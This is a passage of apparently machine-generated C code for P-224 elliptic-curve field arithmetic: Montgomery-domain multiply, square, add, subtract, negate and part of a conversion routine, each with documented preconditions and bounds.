fiat_p224_mulx_u64(&x117, &x118, x107, UINT64_C(0xffffffffffffffff));
uint64_t x119;
uint64_t x120;
fiat_p224_mulx_u64(&x119, &x120, x117, UINT32_C(0xffffffff));
uint64_t x121;
uint64_t x122;
fiat_p224_mulx_u64(&x121, &x122, x117, UINT64_C(0xffffffffffffffff));
uint64_t x123;
uint64_t x124;
fiat_p224_mulx_u64(&x123, &x124, x117, UINT64_C(0xffffffff00000000));
uint64_t x125;
fiat_p224_uint1 x126;
fiat_p224_addcarryx_u64(&x125, &x126, 0x0, x124, x121);
uint64_t x127;
fiat_p224_uint1 x128;
fiat_p224_addcarryx_u64(&x127, &x128, x126, x122, x119);
uint64_t x129 = (x128 + x120);
uint64_t x130;
fiat_p224_uint1 x131;
fiat_p224_addcarryx_u64(&x130, &x131, 0x0, x107, x117);
uint64_t x132;
fiat_p224_uint1 x133;
fiat_p224_addcarryx_u64(&x132, &x133, x131, x109, x123);
uint64_t x134;
fiat_p224_uint1 x135;
fiat_p224_addcarryx_u64(&x134, &x135, x133, x111, x125);
uint64_t x136;
fiat_p224_uint1 x137;
fiat_p224_addcarryx_u64(&x136, &x137, x135, x113, x127);
uint64_t x138;
fiat_p224_uint1 x139;
fiat_p224_addcarryx_u64(&x138, &x139, x137, x115, x129);
uint64_t x140 = ((uint64_t)x139 + x116);
uint64_t x141;
uint64_t x142;
fiat_p224_mulx_u64(&x141, &x142, x3, (arg2[3]));
uint64_t x143;
uint64_t x144;
fiat_p224_mulx_u64(&x143, &x144, x3, (arg2[2]));
uint64_t x145;
uint64_t x146;
fiat_p224_mulx_u64(&x145, &x146, x3, (arg2[1]));
uint64_t x147;
uint64_t x148;
fiat_p224_mulx_u64(&x147, &x148, x3, (arg2[0]));
uint64_t x149;
fiat_p224_uint1 x150;
fiat_p224_addcarryx_u64(&x149, &x150, 0x0, x148, x145);
uint64_t x151;
fiat_p224_uint1 x152;
fiat_p224_addcarryx_u64(&x151, &x152, x150, x146, x143);
uint64_t x153;
fiat_p224_uint1 x154;
fiat_p224_addcarryx_u64(&x153, &x154, x152, x144, x141);
uint64_t x155 = (x154 + x142);
uint64_t x156;
fiat_p224_uint1 x157;
fiat_p224_addcarryx_u64(&x156, &x157, 0x0, x132, x147);
uint64_t x158;
fiat_p224_uint1 x159;
fiat_p224_addcarryx_u64(&x158, &x159, x157, x134, x149);
uint64_t x160;
fiat_p224_uint1 x161;
fiat_p224_addcarryx_u64(&x160, &x161, x159, x136, x151);
uint64_t x162;
fiat_p224_uint1 x163;
fiat_p224_addcarryx_u64(&x162, &x163, x161, x138, x153);
uint64_t x164;
fiat_p224_uint1 x165;
fiat_p224_addcarryx_u64(&x164, &x165, x163, x140, x155);
uint64_t x166;
uint64_t x167;
fiat_p224_mulx_u64(&x166, &x167, x156, UINT64_C(0xffffffffffffffff));
uint64_t x168;
uint64_t x169;
fiat_p224_mulx_u64(&x168, &x169, x166, UINT32_C(0xffffffff));
uint64_t x170;
uint64_t x171;
fiat_p224_mulx_u64(&x170, &x171, x166, UINT64_C(0xffffffffffffffff));
uint64_t x172;
uint64_t x173;
fiat_p224_mulx_u64(&x172, &x173, x166, UINT64_C(0xffffffff00000000));
uint64_t x174;
fiat_p224_uint1 x175;
fiat_p224_addcarryx_u64(&x174, &x175, 0x0, x173, x170);
uint64_t x176;
fiat_p224_uint1 x177;
fiat_p224_addcarryx_u64(&x176, &x177, x175, x171, x168);
uint64_t x178 = (x177 + x169);
uint64_t x179;
fiat_p224_uint1 x180;
fiat_p224_addcarryx_u64(&x179, &x180, 0x0, x156, x166);
uint64_t x181;
fiat_p224_uint1 x182;
fiat_p224_addcarryx_u64(&x181, &x182, x180, x158, x172);
uint64_t x183;
fiat_p224_uint1 x184;
fiat_p224_addcarryx_u64(&x183, &x184, x182, x160, x174);
uint64_t x185;
fiat_p224_uint1 x186;
fiat_p224_addcarryx_u64(&x185, &x186, x184, x162, x176);
uint64_t x187;
fiat_p224_uint1 x188;
fiat_p224_addcarryx_u64(&x187, &x188, x186, x164, x178);
uint64_t x189 = ((uint64_t)x188 + x165);
uint64_t x190;
fiat_p224_uint1 x191;
fiat_p224_subborrowx_u64(&x190, &x191, 0x0, x181, 0x1);
uint64_t x192;
fiat_p224_uint1 x193;
fiat_p224_subborrowx_u64(&x192, &x193, x191, x183, UINT64_C(0xffffffff00000000));
uint64_t x194;
fiat_p224_uint1 x195;
fiat_p224_subborrowx_u64(&x194, &x195, x193, x185, UINT64_C(0xffffffffffffffff));
uint64_t x196;
fiat_p224_uint1 x197;
fiat_p224_subborrowx_u64(&x196, &x197, x195, x187, UINT32_C(0xffffffff));
uint64_t x198;
fiat_p224_uint1 x199;
fiat_p224_subborrowx_u64(&x198, &x199, x197, x189, 0x0);
uint64_t x200;
fiat_p224_cmovznz_u64(&x200, x199, x190, x181);
uint64_t x201;
fiat_p224_cmovznz_u64(&x201, x199, x192, x183);
uint64_t x202;
fiat_p224_cmovznz_u64(&x202, x199, x194, x185);
uint64_t x203;
fiat_p224_cmovznz_u64(&x203, x199, x196, x187);
out1[0] = x200;
out1[1] = x201;
out1[2] = x202;
out1[3] = x203;
}
/*
* The function fiat_p224_square squares a field element in the Montgomery domain.
* Preconditions:
* 0 ≤ eval arg1 < m
* Postconditions:
* eval (from_montgomery out1) mod m = (eval (from_montgomery arg1) * eval (from_montgomery arg1)) mod m
* 0 ≤ eval out1 < m
*
* Input Bounds:
* arg1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
* Output Bounds:
* out1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
*/
static void fiat_p224_square(uint64_t out1[4], const uint64_t arg1[4]) {
uint64_t x1 = (arg1[1]);
uint64_t x2 = (arg1[2]);
uint64_t x3 = (arg1[3]);
uint64_t x4 = (arg1[0]);
uint64_t x5;
uint64_t x6;
fiat_p224_mulx_u64(&x5, &x6, x4, (arg1[3]));
uint64_t x7;
uint64_t x8;
fiat_p224_mulx_u64(&x7, &x8, x4, (arg1[2]));
uint64_t x9;
uint64_t x10;
fiat_p224_mulx_u64(&x9, &x10, x4, (arg1[1]));
uint64_t x11;
uint64_t x12;
fiat_p224_mulx_u64(&x11, &x12, x4, (arg1[0]));
uint64_t x13;
fiat_p224_uint1 x14;
fiat_p224_addcarryx_u64(&x13, &x14, 0x0, x12, x9);
uint64_t x15;
fiat_p224_uint1 x16;
fiat_p224_addcarryx_u64(&x15, &x16, x14, x10, x7);
uint64_t x17;
fiat_p224_uint1 x18;
fiat_p224_addcarryx_u64(&x17, &x18, x16, x8, x5);
uint64_t x19 = (x18 + x6);
uint64_t x20;
uint64_t x21;
fiat_p224_mulx_u64(&x20, &x21, x11, UINT64_C(0xffffffffffffffff));
uint64_t x22;
uint64_t x23;
fiat_p224_mulx_u64(&x22, &x23, x20, UINT32_C(0xffffffff));
uint64_t x24;
uint64_t x25;
fiat_p224_mulx_u64(&x24, &x25, x20, UINT64_C(0xffffffffffffffff));
uint64_t x26;
uint64_t x27;
fiat_p224_mulx_u64(&x26, &x27, x20, UINT64_C(0xffffffff00000000));
uint64_t x28;
fiat_p224_uint1 x29;
fiat_p224_addcarryx_u64(&x28, &x29, 0x0, x27, x24);
uint64_t x30;
fiat_p224_uint1 x31;
fiat_p224_addcarryx_u64(&x30, &x31, x29, x25, x22);
uint64_t x32 = (x31 + x23);
uint64_t x33;
fiat_p224_uint1 x34;
fiat_p224_addcarryx_u64(&x33, &x34, 0x0, x11, x20);
uint64_t x35;
fiat_p224_uint1 x36;
fiat_p224_addcarryx_u64(&x35, &x36, x34, x13, x26);
uint64_t x37;
fiat_p224_uint1 x38;
fiat_p224_addcarryx_u64(&x37, &x38, x36, x15, x28);
uint64_t x39;
fiat_p224_uint1 x40;
fiat_p224_addcarryx_u64(&x39, &x40, x38, x17, x30);
uint64_t x41;
fiat_p224_uint1 x42;
fiat_p224_addcarryx_u64(&x41, &x42, x40, x19, x32);
uint64_t x43;
uint64_t x44;
fiat_p224_mulx_u64(&x43, &x44, x1, (arg1[3]));
uint64_t x45;
uint64_t x46;
fiat_p224_mulx_u64(&x45, &x46, x1, (arg1[2]));
uint64_t x47;
uint64_t x48;
fiat_p224_mulx_u64(&x47, &x48, x1, (arg1[1]));
uint64_t x49;
uint64_t x50;
fiat_p224_mulx_u64(&x49, &x50, x1, (arg1[0]));
uint64_t x51;
fiat_p224_uint1 x52;
fiat_p224_addcarryx_u64(&x51, &x52, 0x0, x50, x47);
uint64_t x53;
fiat_p224_uint1 x54;
fiat_p224_addcarryx_u64(&x53, &x54, x52, x48, x45);
uint64_t x55;
fiat_p224_uint1 x56;
fiat_p224_addcarryx_u64(&x55, &x56, x54, x46, x43);
uint64_t x57 = (x56 + x44);
uint64_t x58;
fiat_p224_uint1 x59;
fiat_p224_addcarryx_u64(&x58, &x59, 0x0, x35, x49);
uint64_t x60;
fiat_p224_uint1 x61;
fiat_p224_addcarryx_u64(&x60, &x61, x59, x37, x51);
uint64_t x62;
fiat_p224_uint1 x63;
fiat_p224_addcarryx_u64(&x62, &x63, x61, x39, x53);
uint64_t x64;
fiat_p224_uint1 x65;
fiat_p224_addcarryx_u64(&x64, &x65, x63, x41, x55);
uint64_t x66;
fiat_p224_uint1 x67;
fiat_p224_addcarryx_u64(&x66, &x67, x65, x42, x57);
uint64_t x68;
uint64_t x69;
fiat_p224_mulx_u64(&x68, &x69, x58, UINT64_C(0xffffffffffffffff));
uint64_t x70;
uint64_t x71;
fiat_p224_mulx_u64(&x70, &x71, x68, UINT32_C(0xffffffff));
uint64_t x72;
uint64_t x73;
fiat_p224_mulx_u64(&x72, &x73, x68, UINT64_C(0xffffffffffffffff));
uint64_t x74;
uint64_t x75;
fiat_p224_mulx_u64(&x74, &x75, x68, UINT64_C(0xffffffff00000000));
uint64_t x76;
fiat_p224_uint1 x77;
fiat_p224_addcarryx_u64(&x76, &x77, 0x0, x75, x72);
uint64_t x78;
fiat_p224_uint1 x79;
fiat_p224_addcarryx_u64(&x78, &x79, x77, x73, x70);
uint64_t x80 = (x79 + x71);
uint64_t x81;
fiat_p224_uint1 x82;
fiat_p224_addcarryx_u64(&x81, &x82, 0x0, x58, x68);
uint64_t x83;
fiat_p224_uint1 x84;
fiat_p224_addcarryx_u64(&x83, &x84, x82, x60, x74);
uint64_t x85;
fiat_p224_uint1 x86;
fiat_p224_addcarryx_u64(&x85, &x86, x84, x62, x76);
uint64_t x87;
fiat_p224_uint1 x88;
fiat_p224_addcarryx_u64(&x87, &x88, x86, x64, x78);
uint64_t x89;
fiat_p224_uint1 x90;
fiat_p224_addcarryx_u64(&x89, &x90, x88, x66, x80);
uint64_t x91 = ((uint64_t)x90 + x67);
uint64_t x92;
uint64_t x93;
fiat_p224_mulx_u64(&x92, &x93, x2, (arg1[3]));
uint64_t x94;
uint64_t x95;
fiat_p224_mulx_u64(&x94, &x95, x2, (arg1[2]));
uint64_t x96;
uint64_t x97;
fiat_p224_mulx_u64(&x96, &x97, x2, (arg1[1]));
uint64_t x98;
uint64_t x99;
fiat_p224_mulx_u64(&x98, &x99, x2, (arg1[0]));
uint64_t x100;
fiat_p224_uint1 x101;
fiat_p224_addcarryx_u64(&x100, &x101, 0x0, x99, x96);
uint64_t x102;
fiat_p224_uint1 x103;
fiat_p224_addcarryx_u64(&x102, &x103, x101, x97, x94);
uint64_t x104;
fiat_p224_uint1 x105;
fiat_p224_addcarryx_u64(&x104, &x105, x103, x95, x92);
uint64_t x106 = (x105 + x93);
uint64_t x107;
fiat_p224_uint1 x108;
fiat_p224_addcarryx_u64(&x107, &x108, 0x0, x83, x98);
uint64_t x109;
fiat_p224_uint1 x110;
fiat_p224_addcarryx_u64(&x109, &x110, x108, x85, x100);
uint64_t x111;
fiat_p224_uint1 x112;
fiat_p224_addcarryx_u64(&x111, &x112, x110, x87, x102);
uint64_t x113;
fiat_p224_uint1 x114;
fiat_p224_addcarryx_u64(&x113, &x114, x112, x89, x104);
uint64_t x115;
fiat_p224_uint1 x116;
fiat_p224_addcarryx_u64(&x115, &x116, x114, x91, x106);
uint64_t x117;
uint64_t x118;
fiat_p224_mulx_u64(&x117, &x118, x107, UINT64_C(0xffffffffffffffff));
uint64_t x119;
uint64_t x120;
fiat_p224_mulx_u64(&x119, &x120, x117, UINT32_C(0xffffffff));
uint64_t x121;
uint64_t x122;
fiat_p224_mulx_u64(&x121, &x122, x117, UINT64_C(0xffffffffffffffff));
uint64_t x123;
uint64_t x124;
fiat_p224_mulx_u64(&x123, &x124, x117, UINT64_C(0xffffffff00000000));
uint64_t x125;
fiat_p224_uint1 x126;
fiat_p224_addcarryx_u64(&x125, &x126, 0x0, x124, x121);
uint64_t x127;
fiat_p224_uint1 x128;
fiat_p224_addcarryx_u64(&x127, &x128, x126, x122, x119);
uint64_t x129 = (x128 + x120);
uint64_t x130;
fiat_p224_uint1 x131;
fiat_p224_addcarryx_u64(&x130, &x131, 0x0, x107, x117);
uint64_t x132;
fiat_p224_uint1 x133;
fiat_p224_addcarryx_u64(&x132, &x133, x131, x109, x123);
uint64_t x134;
fiat_p224_uint1 x135;
fiat_p224_addcarryx_u64(&x134, &x135, x133, x111, x125);
uint64_t x136;
fiat_p224_uint1 x137;
fiat_p224_addcarryx_u64(&x136, &x137, x135, x113, x127);
uint64_t x138;
fiat_p224_uint1 x139;
fiat_p224_addcarryx_u64(&x138, &x139, x137, x115, x129);
uint64_t x140 = ((uint64_t)x139 + x116);
uint64_t x141;
uint64_t x142;
fiat_p224_mulx_u64(&x141, &x142, x3, (arg1[3]));
uint64_t x143;
uint64_t x144;
fiat_p224_mulx_u64(&x143, &x144, x3, (arg1[2]));
uint64_t x145;
uint64_t x146;
fiat_p224_mulx_u64(&x145, &x146, x3, (arg1[1]));
uint64_t x147;
uint64_t x148;
fiat_p224_mulx_u64(&x147, &x148, x3, (arg1[0]));
uint64_t x149;
fiat_p224_uint1 x150;
fiat_p224_addcarryx_u64(&x149, &x150, 0x0, x148, x145);
uint64_t x151;
fiat_p224_uint1 x152;
fiat_p224_addcarryx_u64(&x151, &x152, x150, x146, x143);
uint64_t x153;
fiat_p224_uint1 x154;
fiat_p224_addcarryx_u64(&x153, &x154, x152, x144, x141);
uint64_t x155 = (x154 + x142);
uint64_t x156;
fiat_p224_uint1 x157;
fiat_p224_addcarryx_u64(&x156, &x157, 0x0, x132, x147);
uint64_t x158;
fiat_p224_uint1 x159;
fiat_p224_addcarryx_u64(&x158, &x159, x157, x134, x149);
uint64_t x160;
fiat_p224_uint1 x161;
fiat_p224_addcarryx_u64(&x160, &x161, x159, x136, x151);
uint64_t x162;
fiat_p224_uint1 x163;
fiat_p224_addcarryx_u64(&x162, &x163, x161, x138, x153);
uint64_t x164;
fiat_p224_uint1 x165;
fiat_p224_addcarryx_u64(&x164, &x165, x163, x140, x155);
uint64_t x166;
uint64_t x167;
fiat_p224_mulx_u64(&x166, &x167, x156, UINT64_C(0xffffffffffffffff));
uint64_t x168;
uint64_t x169;
fiat_p224_mulx_u64(&x168, &x169, x166, UINT32_C(0xffffffff));
uint64_t x170;
uint64_t x171;
fiat_p224_mulx_u64(&x170, &x171, x166, UINT64_C(0xffffffffffffffff));
uint64_t x172;
uint64_t x173;
fiat_p224_mulx_u64(&x172, &x173, x166, UINT64_C(0xffffffff00000000));
uint64_t x174;
fiat_p224_uint1 x175;
fiat_p224_addcarryx_u64(&x174, &x175, 0x0, x173, x170);
uint64_t x176;
fiat_p224_uint1 x177;
fiat_p224_addcarryx_u64(&x176, &x177, x175, x171, x168);
uint64_t x178 = (x177 + x169);
uint64_t x179;
fiat_p224_uint1 x180;
fiat_p224_addcarryx_u64(&x179, &x180, 0x0, x156, x166);
uint64_t x181;
fiat_p224_uint1 x182;
fiat_p224_addcarryx_u64(&x181, &x182, x180, x158, x172);
uint64_t x183;
fiat_p224_uint1 x184;
fiat_p224_addcarryx_u64(&x183, &x184, x182, x160, x174);
uint64_t x185;
fiat_p224_uint1 x186;
fiat_p224_addcarryx_u64(&x185, &x186, x184, x162, x176);
uint64_t x187;
fiat_p224_uint1 x188;
fiat_p224_addcarryx_u64(&x187, &x188, x186, x164, x178);
uint64_t x189 = ((uint64_t)x188 + x165);
uint64_t x190;
fiat_p224_uint1 x191;
fiat_p224_subborrowx_u64(&x190, &x191, 0x0, x181, 0x1);
uint64_t x192;
fiat_p224_uint1 x193;
fiat_p224_subborrowx_u64(&x192, &x193, x191, x183, UINT64_C(0xffffffff00000000));
uint64_t x194;
fiat_p224_uint1 x195;
fiat_p224_subborrowx_u64(&x194, &x195, x193, x185, UINT64_C(0xffffffffffffffff));
uint64_t x196;
fiat_p224_uint1 x197;
fiat_p224_subborrowx_u64(&x196, &x197, x195, x187, UINT32_C(0xffffffff));
uint64_t x198;
fiat_p224_uint1 x199;
fiat_p224_subborrowx_u64(&x198, &x199, x197, x189, 0x0);
uint64_t x200;
fiat_p224_cmovznz_u64(&x200, x199, x190, x181);
uint64_t x201;
fiat_p224_cmovznz_u64(&x201, x199, x192, x183);
uint64_t x202;
fiat_p224_cmovznz_u64(&x202, x199, x194, x185);
uint64_t x203;
fiat_p224_cmovznz_u64(&x203, x199, x196, x187);
out1[0] = x200;
out1[1] = x201;
out1[2] = x202;
out1[3] = x203;
}
/*
* The function fiat_p224_add adds two field elements in the Montgomery domain.
* Preconditions:
* 0 ≤ eval arg1 < m
* 0 ≤ eval arg2 < m
* Postconditions:
* eval (from_montgomery out1) mod m = (eval (from_montgomery arg1) + eval (from_montgomery arg2)) mod m
* 0 ≤ eval out1 < m
*
* Input Bounds:
* arg1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
* arg2: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
* Output Bounds:
* out1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
*/
static void fiat_p224_add(uint64_t out1[4], const uint64_t arg1[4], const uint64_t arg2[4]) {
uint64_t x1;
fiat_p224_uint1 x2;
fiat_p224_addcarryx_u64(&x1, &x2, 0x0, (arg1[0]), (arg2[0]));
uint64_t x3;
fiat_p224_uint1 x4;
fiat_p224_addcarryx_u64(&x3, &x4, x2, (arg1[1]), (arg2[1]));
uint64_t x5;
fiat_p224_uint1 x6;
fiat_p224_addcarryx_u64(&x5, &x6, x4, (arg1[2]), (arg2[2]));
uint64_t x7;
fiat_p224_uint1 x8;
fiat_p224_addcarryx_u64(&x7, &x8, x6, (arg1[3]), (arg2[3]));
uint64_t x9;
fiat_p224_uint1 x10;
fiat_p224_subborrowx_u64(&x9, &x10, 0x0, x1, 0x1);
uint64_t x11;
fiat_p224_uint1 x12;
fiat_p224_subborrowx_u64(&x11, &x12, x10, x3, UINT64_C(0xffffffff00000000));
uint64_t x13;
fiat_p224_uint1 x14;
fiat_p224_subborrowx_u64(&x13, &x14, x12, x5, UINT64_C(0xffffffffffffffff));
uint64_t x15;
fiat_p224_uint1 x16;
fiat_p224_subborrowx_u64(&x15, &x16, x14, x7, UINT32_C(0xffffffff));
uint64_t x17;
fiat_p224_uint1 x18;
fiat_p224_subborrowx_u64(&x17, &x18, x16, x8, 0x0);
uint64_t x19;
fiat_p224_cmovznz_u64(&x19, x18, x9, x1);
uint64_t x20;
fiat_p224_cmovznz_u64(&x20, x18, x11, x3);
uint64_t x21;
fiat_p224_cmovznz_u64(&x21, x18, x13, x5);
uint64_t x22;
fiat_p224_cmovznz_u64(&x22, x18, x15, x7);
out1[0] = x19;
out1[1] = x20;
out1[2] = x21;
out1[3] = x22;
}
/*
* The function fiat_p224_sub subtracts two field elements in the Montgomery domain.
* Preconditions:
* 0 ≤ eval arg1 < m
* 0 ≤ eval arg2 < m
* Postconditions:
* eval (from_montgomery out1) mod m = (eval (from_montgomery arg1) - eval (from_montgomery arg2)) mod m
* 0 ≤ eval out1 < m
*
* Input Bounds:
* arg1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
* arg2: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
* Output Bounds:
* out1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
*/
static void fiat_p224_sub(uint64_t out1[4], const uint64_t arg1[4], const uint64_t arg2[4]) {
uint64_t x1;
fiat_p224_uint1 x2;
fiat_p224_subborrowx_u64(&x1, &x2, 0x0, (arg1[0]), (arg2[0]));
uint64_t x3;
fiat_p224_uint1 x4;
fiat_p224_subborrowx_u64(&x3, &x4, x2, (arg1[1]), (arg2[1]));
uint64_t x5;
fiat_p224_uint1 x6;
fiat_p224_subborrowx_u64(&x5, &x6, x4, (arg1[2]), (arg2[2]));
uint64_t x7;
fiat_p224_uint1 x8;
fiat_p224_subborrowx_u64(&x7, &x8, x6, (arg1[3]), (arg2[3]));
uint64_t x9;
fiat_p224_cmovznz_u64(&x9, x8, 0x0, UINT64_C(0xffffffffffffffff));
uint64_t x10;
fiat_p224_uint1 x11;
fiat_p224_addcarryx_u64(&x10, &x11, 0x0, x1, (fiat_p224_uint1)(x9 & 0x1));
uint64_t x12;
fiat_p224_uint1 x13;
fiat_p224_addcarryx_u64(&x12, &x13, x11, x3, (x9 & UINT64_C(0xffffffff00000000)));
uint64_t x14;
fiat_p224_uint1 x15;
fiat_p224_addcarryx_u64(&x14, &x15, x13, x5, (x9 & UINT64_C(0xffffffffffffffff)));
uint64_t x16;
fiat_p224_uint1 x17;
fiat_p224_addcarryx_u64(&x16, &x17, x15, x7, (x9 & UINT32_C(0xffffffff)));
out1[0] = x10;
out1[1] = x12;
out1[2] = x14;
out1[3] = x16;
}
/*
* The function fiat_p224_opp negates a field element in the Montgomery domain.
* Preconditions:
* 0 ≤ eval arg1 < m
* Postconditions:
* eval (from_montgomery out1) mod m = -eval (from_montgomery arg1) mod m
* 0 ≤ eval out1 < m
*
* Input Bounds:
* arg1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
* Output Bounds:
* out1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
*/
static void fiat_p224_opp(uint64_t out1[4], const uint64_t arg1[4]) {
uint64_t x1;
fiat_p224_uint1 x2;
fiat_p224_subborrowx_u64(&x1, &x2, 0x0, 0x0, (arg1[0]));
uint64_t x3;
fiat_p224_uint1 x4;
fiat_p224_subborrowx_u64(&x3, &x4, x2, 0x0, (arg1[1]));
uint64_t x5;
fiat_p224_uint1 x6;
fiat_p224_subborrowx_u64(&x5, &x6, x4, 0x0, (arg1[2]));
uint64_t x7;
fiat_p224_uint1 x8;
fiat_p224_subborrowx_u64(&x7, &x8, x6, 0x0, (arg1[3]));
uint64_t x9;
fiat_p224_cmovznz_u64(&x9, x8, 0x0, UINT64_C(0xffffffffffffffff));
uint64_t x10;
fiat_p224_uint1 x11;
fiat_p224_addcarryx_u64(&x10, &x11, 0x0, x1, (fiat_p224_uint1)(x9 & 0x1));
uint64_t x12;
fiat_p224_uint1 x13;
fiat_p224_addcarryx_u64(&x12, &x13, x11, x3, (x9 & UINT64_C(0xffffffff00000000)));
uint64_t x14;
fiat_p224_uint1 x15;
fiat_p224_addcarryx_u64(&x14, &x15, x13, x5, (x9 & UINT64_C(0xffffffffffffffff)));
uint64_t x16;
fiat_p224_uint1 x17;
fiat_p224_addcarryx_u64(&x16, &x17, x15, x7, (x9 & UINT32_C(0xffffffff)));
out1[0] = x10;
out1[1] = x12;
out1[2] = x14;
out1[3] = x16;
}
/*
* The function fiat_p224_from_montgomery translates a field element out of the Montgomery domain.
* Preconditions:
* 0 ≤ eval arg1 < m
* Postconditions:
* eval out1 mod m = (eval arg1 * ((2^64)⁻¹ mod m)^4) mod m
* 0 ≤ eval out1 < m
*
* Input Bounds:
* arg1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
* Output Bounds:
* out1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
*/
static void fiat_p224_from_montgomery(uint64_t out1[4], const uint64_t arg1[4]) {
uint64_t x1 = (arg1[0]);
uint64_t x2;
uint64_t x3;
fiat_p224_mulx_u64(&x2, &x3, x1, UINT64_C(0xffffffffffffffff));
uint64_t x4;
uint64_t x5;
fiat_p224_mulx_u64(&x4, &x5, x2, UINT32_C(0xffffffff));
uint64_t x6;
uint64_t x7;
fiat_p224_mulx_u64(&x6, &x7, x2, UINT64_C(0xffffffffffffffff));
uint64_t x8;
uint64_t x9;
fiat_p224_mulx_u64(&x8, &x9, x2, UINT64_C(0xffffffff00000000));
uint64_t x10;
fiat_p224_uint1 x11;
fiat_p224_addcarryx_u64(&x10, &x11, 0x0, x9, x6);
uint64_t x12;
fiat_p224_uint1 x13;
fiat_p224_addcarryx_u64(&x12, &x13, x11, x7, x4);
uint64_t x14;
fiat_p224_uint1 x15;
fiat_p224_addcarryx_u64(&x14, &x15, 0x0, x1, x2);
uint64_t x16;
fiat_p224_uint1 x17;
fiat_p224_addcarryx_u64(&x16, &x17, x15, 0x0, x8);
uint64_t x18;
fiat_p224_uint1 x19;
fiat_p224_addcarryx_u64(&x18, &x19, x17, 0x0, x10);
uint64_t x20;
fiat_p224_uint1 x21;
fiat_p224_addcarryx_u64(&x20, &x21, x19, 0x0, x12);
uint64_t x22;
fiat_p224_uint1 x23;
fiat_p224_addcarryx_u64(&x22, &x23, 0x0, x16, (arg1[1]));
uint64_t x24;
fiat_p224_uint1 x25;
fiat_p224_addcarryx_u64(&x24, &x25, x23, x18, 0x0);
uint64_t x26;
fiat_p224_uint1 x27;
fiat_p224_addcarryx_u64(&x26, &x27, x25, x20, 0x0);
uint64_t x28;
uint64_t x29;
fiat_p224_mulx_u64(&x28, &x29, x22, UINT64_C(0xffffffffffffffff));
uint64_t x30;
uint64_t x31;
fiat_p224_mulx_u64(&x30, &x31, x28, UINT32_C(0xffffffff));
uint64_t x32;
uint64_t x33;
fiat_p224_mulx_u64(&x32, &x33, x28, UINT64_C(0xffffffffffffffff));
uint64_t x34;
uint64_t x35;
fiat_p224_mulx_u64(&x34, &x35, x28, UINT64_C(0xffffffff00000000));
uint64_t x36;
fiat_p224_uint1 x37;
fiat_p224_addcarryx_u64(&x36, &x37, 0x0, x35, x32);
uint64_t x38;
fiat_p224_uint1 x39;
fiat_p224_addcarryx_u64(&x38, &x39, x37, x33, x30);
uint64_t x40;
fiat_p224_uint1 x41;
fiat_p224_addcarryx_u64(&x40, &x41, 0x0, x22, x28);
uint64_t x42;
fiat_p224_uint1 x43;
fiat_p224_addcarryx_u64(&x42, &x43, x41, x24, x34);
uint64_t x44;
fiat_p224_uint1 x45;
fiat_p224_addcarryx_u64(&x44, &x45, x43, x26, x36);
uint64_t x46;
fiat_p224_uint1 x47;
fiat_p224_addcarryx_u64(&x46, &x47, x45, (x27 + (x21 + (x13 + x5))), x38);
uint64_t x48;
fiat_p224_uint1 x49;
fiat_p224_addcarryx_u64(&x48, &x49, 0x0, x42, (arg1[2]));
uint64_t x50;
fiat_p224_uint1 x51;
fiat_p224_addcarryx_u64(&x50, &x51, x49, x44, 0x0);
uint64_t x52;
fiat_p224_uint1 x53;
fiat_p224_addcarryx_u64(&x52, &x53, x51, x46, 0x0);
uint64_t x54;
uint64_t x55;
fiat_p224_mulx_u64(&x54, &x55, x48, UINT64_C(0xffffffffffffffff));
uint64_t x56;
uint64_t x57;
fiat_p224_mulx_u64(&x56, &x57, x54, UINT32_C(0xffffffff));
uint64_t x58;
uint64_t x59;
fiat_p224_mulx_u64(&x58, &x59, x54, UINT64_C(0xffffffffffffffff));
uint64_t x60;
uint64_t x61;
fiat_p224_mulx_u64(&x60, &x61, x54, UINT64_C(0xffffffff00000000));
uint64_t x62;
fiat_p224_uint1 x63;
fiat_p224_addcarryx_u64(&x62, &x63, 0x0, x61, x58);
uint64_t x64;
fiat_p224_uint1 x65;
fiat_p224_addcarryx_u64(&x64, &x65, x63, x59, x56);
uint64_t x66;
fiat_p224_uint1 x67;
fiat_p224_addcarryx_u64(&x66, &x67, 0x0, x48, x54);
uint64_t x68;
fiat_p224_uint1 x69;
fiat_p224_addcarryx_u64(&x68, &x69, x67, x50, x60);
uint64_t x70;
fiat_p224_uint1 x71;
fiat_p224_addcarryx_u64(&x70, &x71, x69, x52, x62);
uint64_t x72;
fiat_p224_uint1 x73;
fiat_p224_addcarryx_u64(&x72, &x73, x71, (x53 + (x47 + (x39 + x31))), x64);
uint64_t x74;
fiat_p224_uint1 x75;
fiat_p224_addcarryx_u64(&x74, &x75, 0x0, x68, (arg1[3]));
uint64_t x76;
fiat_p224_uint1 x77;
fiat_p224_addcarryx_u64(&x76, &x77, x75, x70, 0x0);
